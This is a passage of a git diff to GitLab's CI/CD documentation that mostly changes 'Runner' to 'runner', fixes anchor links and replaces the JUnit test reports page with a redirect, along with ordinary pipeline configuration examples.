# your git repository.
@@ -241,15 +231,13 @@ cache:
- vendor/
before_script:
-# Install composer dependencies
+ # Install composer dependencies
- wget https://composer.github.io/installer.sig -O - -q | tr -d '\n' > installer.sig
- php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
- php -r "if (hash_file('SHA384', 'composer-setup.php') === file_get_contents('installer.sig')) { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
- php composer-setup.php
- php -r "unlink('composer-setup.php'); unlink('installer.sig');"
- php composer.phar install
-
-...
```
## Access private packages or dependencies
diff --git a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
index d01e9663795..6c4d99bd2dc 100644
--- a/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
+++ b/doc/ci/examples/test-and-deploy-python-application-to-heroku.md
@@ -71,7 +71,7 @@ Find your Heroku API key in [Manage Account](https://dashboard.heroku.com/accoun
For each of your environments, you'll need to create a new Heroku application.
You can do this through the [Dashboard](https://dashboard.heroku.com/).
-## Create Runner
+## Create a runner
First install [Docker Engine](https://docs.docker.com/installation/).
diff --git a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
index bf589c5991d..066c0cf214f 100644
--- a/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
+++ b/doc/ci/examples/test-and-deploy-ruby-application-to-heroku.md
@@ -19,27 +19,27 @@ This is what the `.gitlab-ci.yml` file looks like for this project:
test:
stage: test
script:
- - apt-get update -qy
- - apt-get install -y nodejs
- - bundle install --path /cache
- - bundle exec rake db:create RAILS_ENV=test
- - bundle exec rake test
+ - apt-get update -qy
+ - apt-get install -y nodejs
+ - bundle install --path /cache
+ - bundle exec rake db:create RAILS_ENV=test
+ - bundle exec rake test
staging:
stage: deploy
script:
- - gem install dpl
- - dpl --provider=heroku --app=gitlab-ci-ruby-test-staging --api-key=$HEROKU_STAGING_API_KEY
+ - gem install dpl
+ - dpl --provider=heroku --app=gitlab-ci-ruby-test-staging --api-key=$HEROKU_STAGING_API_KEY
only:
- - master
+ - master
production:
stage: deploy
script:
- - gem install dpl
- - dpl --provider=heroku --app=gitlab-ci-ruby-test-prod --api-key=$HEROKU_PRODUCTION_API_KEY
+ - gem install dpl
+ - dpl --provider=heroku --app=gitlab-ci-ruby-test-prod --api-key=$HEROKU_PRODUCTION_API_KEY
only:
- - tags
+ - tags
```
This project has three jobs:
@@ -62,7 +62,7 @@ Find your Heroku API key in [Manage Account](https://dashboard.heroku.com/accoun
For each of your environments, you'll need to create a new Heroku application.
You can do this through the [Heroku Dashboard](https://dashboard.heroku.com/).
-## Create Runner
+## Create a runner
First install [Docker Engine](https://docs.docker.com/installation/).
@@ -92,6 +92,6 @@ gitlab-runner register \
--docker-image ruby:2.6
```
-With the command above, you create a Runner that uses the [`ruby:2.6`](https://hub.docker.com/_/ruby) image and uses a [PostgreSQL](https://hub.docker.com/_/postgres) database.
+With the command above, you create a runner that uses the [`ruby:2.6`](https://hub.docker.com/_/ruby) image and uses a [PostgreSQL](https://hub.docker.com/_/postgres) database.
To access the PostgreSQL database, connect to `host: postgres` as user `postgres` with no password.
diff --git a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md
index f2620461c09..ab6a4d3f507 100644
--- a/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md
+++ b/doc/ci/examples/test_phoenix_app_with_gitlab_ci_cd/index.md
@@ -2,13 +2,7 @@
stage: Verify
group: Continuous Integration
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-author: Alexandre S Hostert
-author_gitlab: Hostert
-level: beginner
-article_type: tutorial
type: tutorial
-date: 2018-02-20
-last_updated: 2019-03-06
---
# Testing a Phoenix application with GitLab CI/CD
@@ -182,10 +176,10 @@ environment it can run. Since we will work with a single environment, we'll edit
configuration file (`test.exs`).
But, why do we need to adjust our configuration? Well, GitLab CI/CD builds and tests our code in one
-isolated virtual machine, called [Runner](../../runners/README.md), using Docker technology. In this Runner,
+isolated virtual machine, called a [runner](../../runners/README.md), using Docker technology. In this runner,
GitLab CI/CD has access to everything our Phoenix application need to run, exactly as we have in our
`localhost`, but we have to tell GitLab CI/CD where to create and find this database using system
-variables. This way, GitLab CI/CD will create our test database inside the Runner, just like we do
+variables. This way, GitLab CI/CD will create our test database inside the runner, just like we do
when running our Phoenix in our `localhost`.
- Open `hello_gitlab_ci/config/test.exs` on your favorite code editor
@@ -262,7 +256,7 @@ project.
- The first line tells GitLab what Docker image will be used.
- Remember when we learn about Runners, the isolated virtual machine where GitLab CI/CD build and test
+ Remember when we learned about runners, the isolated virtual machine where GitLab CI/CD builds and tests
our application? This virtual machine must have all dependencies to run our application. This is
where a Docker image is needed. The correct image will provide the entire system for us.
@@ -401,5 +395,5 @@ using GitLab CI/CD. The benefits to our teams will be huge!
- [GitLab CI/CD introductory guide](https://about.gitlab.com/blog/2015/12/14/getting-started-with-gitlab-and-gitlab-ci/)
- [GitLab CI/CD full Documentation](../../README.md)
-- [GitLab Runners documentation](../../runners/README.md)
+- [GitLab Runner documentation](../../runners/README.md)
- [Using Docker images documentation](../../docker/using_docker_images.md)
diff --git a/doc/ci/git_submodules.md b/doc/ci/git_submodules.md
index b12ac59625f..5bcfe8fa3f1 100644
--- a/doc/ci/git_submodules.md
+++ b/doc/ci/git_submodules.md
@@ -94,10 +94,10 @@ correctly with your CI jobs:
whether you have recursive submodules.
The rationale to set the `sync` and `update` in `before_script` is because of
-the way Git submodules work. On a fresh Runner workspace, Git will set the
+the way Git submodules work. On a fresh runner workspace, Git will set the
submodule URL including the token in `.git/config`
(or `.git/modules/<submodule>/config`) based on `.gitmodules` and the current
-remote URL. On subsequent jobs on the same Runner, `.git/config` is cached
+remote URL. On subsequent jobs on the same runner, `.git/config` is cached
and already contains a full URL for the submodule, corresponding to the previous
job, and to **a token from a previous job**. `sync` allows to force updating
the full URL.
diff --git a/doc/ci/interactive_web_terminal/index.md b/doc/ci/interactive_web_terminal/index.md
index c79fb5bc926..125e7dabecf 100644
--- a/doc/ci/interactive_web_terminal/index.md
+++ b/doc/ci/interactive_web_terminal/index.md
@@ -26,7 +26,7 @@ terminals are available when using your own group or project runner.
Two things need to be configured for the interactive web terminal to work:
-- The Runner needs to have [`[session_server]` configured
+- The runner needs to have [`[session_server]` configured
properly](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-session_server-section)
- If you are using a reverse proxy with your GitLab instance, web terminals need to be
[enabled](../../administration/integration/terminal.md#enabling-and-disabling-terminal-support)
diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md
index c97f4e51d30..db2749233e8 100644
--- a/doc/ci/introduction/index.md
+++ b/doc/ci/introduction/index.md
@@ -191,7 +191,7 @@ according to each stage (Verify, Package, Release).
- Analyze your source code quality with [GitLab Code Quality](../../user/project/merge_requests/code_quality.md).
- Determine the browser performance impact of code changes with [Browser Performance Testing](../../user/project/merge_requests/browser_performance_testing.md). **(PREMIUM)**
- Determine the server performance impact of code changes with [Load Performance Testing](../../user/project/merge_requests/load_performance_testing.md). **(PREMIUM)**
- - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [JUnit tests](../junit_test_reports.md).
+ - Perform a series of tests, such as [Container Scanning](../../user/application_security/container_scanning/index.md) **(ULTIMATE)**, [Dependency Scanning](../../user/application_security/dependency_scanning/index.md) **(ULTIMATE)**, and [Unit tests](../unit_test_reports.md).
- Deploy your changes with [Review Apps](../review_apps/index.md) to preview the app changes on every branch.
1. **Package**:
- Store Docker images with [Container Registry](../../user/packages/container_registry/index.md).
@@ -237,3 +237,6 @@ existing one) for any application.
For a deep view of GitLab's CI/CD configuration options, check the
[`.gitlab-ci.yml` full reference](../yaml/README.md).
+
+For help making your pipelines faster and more efficient, see the
+[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md).
diff --git a/doc/ci/junit_test_reports.md b/doc/ci/junit_test_reports.md
index 8bc55a6e4f3..449f9bf5fcd 100644
--- a/doc/ci/junit_test_reports.md
+++ b/doc/ci/junit_test_reports.md
@@ -1,281 +1,5 @@
---
-stage: Verify
-group: Testing
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
-type: reference
+redirect_to: 'unit_test_reports.md'
---
-# JUnit test reports
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45318) in GitLab 11.2. Requires GitLab Runner 11.2 and above.
-
-## Overview
-
-It is very common that a [CI/CD pipeline](pipelines/index.md) contains a
-test job that will verify your code.
-If the tests fail, the pipeline fails and users get notified. The person that
-works on the merge request will have to check the job logs and see where the
-tests failed so that they can fix them.
-
-You can configure your job to use JUnit test reports, and GitLab will display a
-report on the merge request so that it's easier and faster to identify the
-failure without having to check the entire log.
-
-If you don't use Merge Requests but still want to see the JUnit output without searching through job logs, the full [JUnit test reports](#viewing-junit-test-reports-on-gitlab) are available in the pipeline detail view.
-
-## Use cases
-
-Consider the following workflow:
-
-1. Your `master` branch is rock solid, your project is using GitLab CI/CD and
- your pipelines indicate that there isn't anything broken.
-1. Someone from your team submits a merge request, a test fails and the pipeline
- gets the known red icon. To investigate more, you have to go through the job
- logs to figure out the cause of the failed test, which usually contain
- thousands of lines.
-1. You configure the JUnit test reports and immediately GitLab collects and
- exposes them in the merge request. No more searching in the job logs.
-1. Your development and debugging workflow becomes easier, faster and efficient.
-
-## How it works
-
-First, GitLab Runner uploads all JUnit XML files as artifacts to GitLab. Then,
-when you visit a merge request, GitLab starts comparing the head and base branch's
-JUnit test reports, where:
-
-- The base branch is the target branch (usually `master`).
-- The head branch is the source branch (the latest pipeline in each merge request).
-
-The reports panel has a summary showing how many tests failed, how many had errors
-and how many were fixed. If no comparison can be done because data for the base branch
-is not available, the panel will just show the list of failed tests for head.
-
-There are four types of results:
-
-1. **Newly failed tests:** Test cases which passed on base branch and failed on head branch
-1. **Newly encountered errors:** Test cases which passed on base branch and failed due to a
- test error on head branch
-1. **Existing failures:** Test cases which failed on base branch and failed on head branch
-1. **Resolved failures:** Test cases which failed on base branch and passed on head branch
-
-Each entry in the panel will show the test name and its type from the list
-above. Clicking on the test name will open a modal window with details of its
-execution time and the error output.
-
-![Test Reports Widget](img/junit_test_report.png)
-
-## How to set it up
-
-To enable the JUnit reports in merge requests, you need to add
-[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit)
-in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports.
-The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575).
-
-In the following examples, the job in the `test` stage runs and GitLab
-collects the JUnit test report from each job. After each job is executed, the
-XML reports are stored in GitLab as artifacts and their results are shown in the
-merge request widget.
-
-To make the JUnit output files browsable, include them with the
-[`artifacts:paths`](yaml/README.md#artifactspaths) keyword as well, as shown in the [Ruby example](#ruby-example).
-
-NOTE: **Note:**
-You cannot have multiple tests with the same name and class in your JUnit report.
-
-### Ruby example
-
-Use the following job in `.gitlab-ci.yml`. This includes the `artifacts:paths` keyword to provide a link to the JUnit output file.
-
-```yaml
-## Use https://github.com/sj26/rspec_junit_formatter to generate a JUnit report with rspec
-ruby:
- stage: test
- script:
- - bundle install
- - bundle exec rspec --format progress --format RspecJunitFormatter --out rspec.xml
- artifacts:
- paths:
- - rspec.xml
- reports:
- junit: rspec.xml
-```
-
-### Go example
-
-Use the following job in `.gitlab-ci.yml`, and ensure you use `-set-exit-code`,
-otherwise the pipeline will be marked successful, even if the tests fail:
-
-```yaml
-## Use https://github.com/jstemmer/go-junit-report to generate a JUnit report with go
-golang:
- stage: test
- script:
- - go get -u github.com/jstemmer/go-junit-report
- - go test -v 2>&1 | go-junit-report -set-exit-code > report.xml
- artifacts:
- reports:
- junit: report.xml
-```
-
-### Java examples
-
-There are a few tools that can produce JUnit reports in Java.
-
-#### Gradle
-
-In the following example, `gradle` is used to generate the test reports.
-If there are multiple test tasks defined, `gradle` will generate multiple
-directories under `build/test-results/`. In that case, you can leverage glob
-matching by defining the following path: `build/test-results/test/**/TEST-*.xml`:
-
-```yaml
-java:
- stage: test
- script:
- - gradle test
- artifacts:
- reports:
- junit: build/test-results/test/**/TEST-*.xml
-```
-
-NOTE: **Note:**
-Support for `**` was added in [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620).
-
-#### Maven
-
-For parsing [Surefire](https://maven.apache.org/surefire/maven-surefire-plugin/)
-and [Failsafe](https://maven.apache.org/surefire/maven-failsafe-plugin/) test
-reports, use the following job in `.gitlab-ci.yml`:
-
-```yaml
-java:
- stage: test
- script:
- - mvn verify
- artifacts:
- reports:
- junit:
- - target/surefire-reports/TEST-*.xml
- - target/failsafe-reports/TEST-*.xml
-```
-
-### Python example
-
-This example uses pytest with the `--junitxml=report.xml` flag to format the output
-for JUnit:
-
-```yaml
-pytest:
- stage: test
- script:
- - pytest --junitxml=report.xml
- artifacts:
- reports:
- junit: report.xml
-```
-
-### C/C++ example
-
-There are a few tools that can produce JUnit reports in C/C++.
-
-#### GoogleTest
-
-In the following example, `gtest` is used to generate the test reports.
-If there are multiple gtest executables created for different architectures (`x86`, `x64` or `arm`),
-you will be required to run each test providing a unique filename. The results
-will then be aggregated together.
-
-```yaml
-cpp:
- stage: test
- script:
- - gtest.exe --gtest_output="xml:report.xml"
- artifacts:
- reports:
- junit: report.xml
-```
-
-#### CUnit
-
-[CUnit](https://cunity.gitlab.io/cunit/) can be made to produce [JUnit XML reports](https://cunity.gitlab.io/cunit/group__CI.html) automatically when run using its `CUnitCI.h` macros:
-
-```yaml
-cunit:
- stage: test
- script:
- - ./my-cunit-test
- artifacts:
- reports:
- junit: ./my-cunit-test.xml
-```
-
-### .NET example
-
-The [JunitXML.TestLogger](https://www.nuget.org/packages/JunitXml.TestLogger/) NuGet
-package can generate test reports for .Net Framework and .Net Core applications. The following
-example expects a solution in the root folder of the repository, with one or more
-project files in sub-folders. One result file is produced per test project, and each file
-is placed in a new artifacts folder. This example includes optional formatting arguments, which
-improve the readability of test data in the test widget. A full .Net Core
-[example is available](https://gitlab.com/Siphonophora/dot-net-cicd-test-logging-demo).
-
-```yaml
-## Source code and documentation are here: https://github.com/spekt/junit.testlogger/
-
-Test:
- stage: test
- script:
- - 'dotnet test --test-adapter-path:. --logger:"junit;LogFilePath=..\artifacts\{assembly}-test-result.xml;MethodFormat=Class;FailureBodyFormat=Verbose"'
- artifacts:
- when: always
- paths:
- - ./**/*test-result.xml
- reports:
- junit:
- - ./**/*test-result.xml
-```
-
-## Viewing JUnit test reports on GitLab
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24792) in GitLab 12.5 behind a feature flag (`junit_pipeline_view`), disabled by default.
-> - The feature flag was removed and the feature was [made generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/216478) in GitLab 13.3.
-
-If JUnit XML files are generated and uploaded as part of a pipeline, these reports
-can be viewed inside the pipelines details page. The **Tests** tab on this page will
-display a list of test suites and cases reported from the XML file.
-
-![Test Reports Widget](img/pipelines_junit_test_report_ui_v12_5.png)
-
-You can view all the known test suites and click on each of these to see further
-details, including the cases that make up the suite.
-
-You can also retrieve the reports via the [GitLab API](../api/pipelines.md#get-a-pipelines-test-report).
-
-## Viewing JUnit screenshots on GitLab
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0.
-> - It's deployed behind a feature flag, disabled by default.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enabling-the-junit-screenshots-feature-core-only). **(CORE ONLY)**
-
-If JUnit XML files contain an `attachment` tag, GitLab parses the attachment.
-
-Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded.
-
-```xml
-<testcase time="1.00" name="Test">
- <system-out>[[ATTACHMENT|/absolute/path/to/some/file]]</system-out>
-</testcase>
-```
-
-When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complete, the attached file will be visible on the pipeline details page.
-
-### Enabling the JUnit screenshots feature **(CORE ONLY)**
-
-This feature comes with the `:junit_pipeline_screenshots_view` feature flag disabled by default.
-
-To enable this feature, ask a GitLab administrator with [Rails console access](../administration/feature_flags.md#how-to-enable-and-disable-features-behind-flags) to run the
-following command:
-
-```ruby
-Feature.enable(:junit_pipeline_screenshots_view)
-```
+This document was moved to [unit_test_reports](unit_test_reports.md).
diff --git a/doc/ci/large_repositories/index.md b/doc/ci/large_repositories/index.md
index 00e912d47dc..0019eb5f40c 100644
--- a/doc/ci/large_repositories/index.md
+++ b/doc/ci/large_repositories/index.md
@@ -28,9 +28,8 @@ Each guideline is described in more detail in the sections below:
> Introduced in GitLab Runner 8.9.
-GitLab and GitLab Runner always perform a full clone by default.
-While it means that all changes from GitLab are received,
-it often results in receiving extra commit logs.
+GitLab and GitLab Runner perform a [shallow clone](../pipelines/settings.md#git-shallow-clone)
+by default.
Ideally, you should always use `GIT_DEPTH` with a small number
like 10. This will instruct GitLab Runner to perform shallow clones.
@@ -41,7 +40,7 @@ This significantly speeds up fetching of changes from Git repositories,
especially if the repository has a very long backlog consisting of number
of big files as we effectively reduce amount of data transfer.
-The following example makes GitLab Runner shallow clone to fetch only a given branch;
+The following example makes the runner shallow clone to fetch only a given branch;
it does not fetch any other branches nor tags.
```yaml
@@ -226,15 +225,15 @@ with other concurrent jobs running.
### Store custom clone options in `config.toml`
Ideally, all job-related configuration should be stored in `.gitlab-ci.yml`.
-However, sometimes it is desirable to make these schemes part of Runner configuration.
+However, sometimes it is desirable to make these schemes part of the runner's configuration.
In the above example of Forks, making this configuration discoverable for users may be preferred,
but this brings administrative overhead as the `.gitlab-ci.yml` needs to be updated for each branch.
In such cases, it might be desirable to keep the `.gitlab-ci.yml` clone path agnostic, but make it
-a configuration of Runner.
+a configuration of the runner.
We can extend our [`config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html)
-with the following specification that will be used by Runner if `.gitlab-ci.yml` will not override it:
+with the following specification that will be used by the runner if `.gitlab-ci.yml` will not override it:
```toml
concurrent = 4
@@ -255,7 +254,7 @@ concurrent = 4
volumes = ["/builds:/builds", "/cache:/cache"]
```
-This makes the cloning configuration to be part of given Runner
+This makes the cloning configuration to be part of the given runner
and does not require us to update each `.gitlab-ci.yml`.
## Pre-clone step
diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md
index 73b971c2d41..3ce62936168 100644
--- a/doc/ci/merge_request_pipelines/index.md
+++ b/doc/ci/merge_request_pipelines/index.md
@@ -13,7 +13,7 @@ last_update: 2019-07-03
In a [basic configuration](../pipelines/pipeline_architectures.md#basic-pipelines), GitLab runs a pipeline each time
changes are pushed to a branch.
-If you want the pipeline to run jobs **only** when merge requests are created or updated,
+If you want the pipeline to run jobs **only** on commits to a branch that is associated with a merge request,
you can use *pipelines for merge requests*.
In the UI, these pipelines are labeled as `detached`. Otherwise, these pipelines appear the same
@@ -179,7 +179,7 @@ coming from a fork:
Sometimes parent project members want the pipeline to run in the parent
project. This could be to ensure that the post-merge pipeline passes in the parent project.
-For example, a fork project could try to use a corrupted Runner that doesn't execute
+For example, a fork project could try to use a corrupted runner that doesn't execute
test scripts properly, but reports a passed pipeline. Reviewers in the parent project
could mistakenly trust the merge request because it passed a faked pipeline.
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
index 685c93b3be4..dd08f9248f6 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/index.md
@@ -66,7 +66,7 @@ unresolved state or your pipelines may be dropped.
## Using Merge Trains
-When you enable [Pipelines for merged results](#pipelines-for-merged-results-premium),
+When you enable [Pipelines for merged results](#pipelines-for-merged-results),
GitLab [automatically displays](merge_trains/index.md#add-a-merge-request-to-a-merge-train)
a **Start/Add Merge Train button**.
@@ -127,5 +127,5 @@ unexpected timing. For example, when a source or target branch is advanced.
In this case, the pipeline fails because of `fatal: reference is not a tree:` error,
which indicates that the checkout-SHA is not found in the merge ref.
-This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../pipelines/index.md#troubleshooting-fatal-reference-is-not-a-tree).
+This behavior was improved at GitLab 12.4 by introducing [Persistent pipeline refs](../../troubleshooting.md#fatal-reference-is-not-a-tree-error).
You should be able to create pipelines at any timings without concerning the error.
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
index d91d88c8e12..1f88e8f832f 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
@@ -13,7 +13,7 @@ last_update: 2019-07-03
For more information about why you might want to use Merge Trains, read [How merge trains keep your master green](https://about.gitlab.com/blog/2020/01/30/all-aboard-merge-trains/).
-When [pipelines for merged results](../index.md#pipelines-for-merged-results-premium) are
+When [pipelines for merged results](../index.md#pipelines-for-merged-results) are
enabled, the pipeline jobs run as if the changes from your source branch have already
been merged into the target branch.
@@ -80,7 +80,7 @@ To enable merge trains:
To enable merge trains for your project:
-1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag-premium-only) is set correctly.
+1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly.
1. [Configure your CI/CD configuration file](../../index.md#configuring-pipelines-for-merge-requests)
so that the pipeline or individual jobs run for merge requests.
1. Visit your project's **Settings > General** and expand **Merge requests**.
diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md
index 14669edf7eb..4f4471225a0 100644
--- a/doc/ci/metrics_reports.md
+++ b/doc/ci/metrics_reports.md
@@ -11,7 +11,7 @@ type: reference
## Overview
-GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [JUnit reports](junit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change.
+GitLab provides a lot of great reporting tools for [merge requests](../user/project/merge_requests/index.md) - [Unit test reports](unit_test_reports.md), [code quality](../user/project/merge_requests/code_quality.md), performance tests, etc. While JUnit is a great open framework for tests that "pass" or "fail", it is also important to see other types of metrics from a given change.
You can configure your job to use custom Metrics Reports, and GitLab will display a report on the merge request so that it's easier and faster to identify changes without having to check the entire log.
@@ -37,7 +37,7 @@ All values are considered strings and string compare is used to find differences
## How to set it up
-Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics-premium) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
+Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
For example:
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index 78705815c24..6de494bceaf 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -120,7 +120,7 @@ stages:
- build
- test
- deploy
-
+
job 1:
stage: build
script: make build dependencies
@@ -128,7 +128,7 @@ job 1:
job 2:
stage: build
script: make build artifacts
-
+
job3:
stage: test
script: make test
@@ -276,17 +276,17 @@ There are two GitLab issues open addressing CircleCI Orbs and how GitLab can ach
## Build environments
-CircleCI offers `executors` as the underlying technology to run a specific job. In GitLab, this is done by [Runners](https://docs.gitlab.com/runner/).
+CircleCI offers `executors` as the underlying technology to run a specific job. In GitLab, this is done by [runners](https://docs.gitlab.com/runner/).
The following environments are supported:
-Self-Managed Runners:
+Self-managed runners:
- Linux
- Windows
- macOS
-GitLab.com Shared Runners:
+GitLab.com shared runners:
- Linux
- Windows
@@ -294,7 +294,7 @@ GitLab.com Shared Runners:
### Machine and specific build environments
-[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which Runners should run the jobs.
+[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which runners should run the jobs.
CircleCI example of a job running on a specific environment:
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index 1d029dcdd14..8dff99f7244 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -17,7 +17,7 @@ that were able to quickly complete this migration:
1. Start by reading the GitLab CI/CD [Quick Start Guide](../quick_start/README.md) and [important product differences](#important-product-differences).
1. Learn the importance of [managing the organizational transition](#managing-the-organizational-transition).
-1. [Add Runners](../runners/README.md) to your GitLab instance.
+1. [Add runners](../runners/README.md) to your GitLab instance.
1. Educate and enable your developers to independently perform the following steps in their projects:
1. Review the [Quick Start Guide](../quick_start/README.md) and [Pipeline Configuration Reference](../yaml/README.md).
1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs.
@@ -26,6 +26,8 @@ that were able to quickly complete this migration:
1. Migrate the deployment jobs using [cloud deployment templates](../cloud_deployment/index.md), adding [environments](../environments/index.md), and [deploy boards](../..//user/project/deploy_boards.md).
1. Work to unwrap any jobs still running with the use of the Jenkins wrapper.
1. Take stock of any common CI/CD job definitions then create and share [templates](#templates) for them.
+1. Check the [pipeline efficiency documentation](../pipelines/pipeline_efficiency.md)
+ to learn how to make your GitLab CI/CD pipelines faster and more efficient.
For an example of how to convert a Jenkins pipeline into a GitLab CI/CD pipeline,
or how to use Auto DevOps to test your code automatically, watch the
@@ -107,7 +109,7 @@ There are some high level differences between the products worth mentioning:
is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most
analogous to the declarative Jenkinsfile format.
- Manual approvals or gates can be set up as [`when:manual` jobs](../yaml/README.md#whenmanual). These can
- also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs-premium)
+ also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs)
to control who is able to approve them.
- GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using
container images to set up your build environment. For example, set up one pipeline that builds your build environment
@@ -117,26 +119,26 @@ There are some high level differences between the products worth mentioning:
or other manual jobs that function like utilities. Jenkins installations tend to
have a few of these.
-## Agents vs. Runners
+## Agents vs. runners
-Both Jenkins agents and GitLab Runners are the hosts that run jobs. To convert the
+Both Jenkins agents and GitLab runners are the hosts that run jobs. To convert the
Jenkins agent, simply uninstall it and then [install and register the runner](../runners/README.md).
Runners do not require much overhead, so you can size them similarly to the Jenkins
agents you were using.
-There are some important differences in the way Runners work in comparison to agents:
+There are some important differences in the way runners work in comparison to agents:
- Runners can be set up as [shared across an instance, be added at the group level, or set up at the project level](../runners/README.md#types-of-runners).
They will self-select jobs from the scopes you've defined automatically.
- You can also [use tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) for finer control, and
associate runners with specific jobs. For example, you can use a tag for jobs that
require dedicated, more powerful, or specific hardware.
-- GitLab has [autoscaling for Runners](https://docs.gitlab.com/runner/configuration/autoscale.html)
+- GitLab has [autoscaling for runners](https://docs.gitlab.com/runner/configuration/autoscale.html)
which will let you configure them to be provisioned as needed, and scaled down when not.
This is similar to ephemeral agents in Jenkins.
-If you are using `gitlab.com`, you can take advantage of our [shared Runner fleet](../../user/gitlab_com/index.md#shared-runners)
-to run jobs without provisioning your own Runners. We are investigating making them
+If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../../user/gitlab_com/index.md#shared-runners)
+to run jobs without provisioning your own runners. We are investigating making them
[available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835)
as well.
@@ -225,11 +227,11 @@ and is meant to be a mapping of concepts there to concepts in GitLab.
#### `agent`
-The agent section is used to define how a pipeline will be executed. For GitLab, we use the [GitLab Runner](../runners/README.md)
+The agent section is used to define how a pipeline will be executed. For GitLab, we use [runners](../runners/README.md)
to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage
of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users.) The link above will bring you to the documentation which will describe how to get
up and running quickly. We also support using [tags](../runners/README.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs
-to different Runners (execution agents).
+to different runners (execution agents).
The `agent` section also allows you to define which Docker images should be used for execution, for which we use
the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which
@@ -238,7 +240,6 @@ case it will apply to all jobs in the pipeline:
```yaml
my_job:
image: alpine
- ...
```
#### `post`
@@ -284,7 +285,6 @@ stages:
my_job:
stage: build
- ...
```
#### `steps`
@@ -297,7 +297,6 @@ my_job:
script:
- echo "hello! the current time is:"
- time
- ...
```
### Directives
@@ -357,3 +356,8 @@ our very powerful [`only/except` rules system](../yaml/README.md#onlyexcept-basi
my_job:
only: [branches]
```
+
+## Additional resources
+
+For help making your pipelines faster and more efficient, see the
+[pipeline efficiency documentation](../pipelines/pipeline_efficiency.md).
diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md
index 3df2db8539e..3f9a00b6cc8 100644
--- a/doc/ci/multi_project_pipelines.md
+++ b/doc/ci/multi_project_pipelines.md
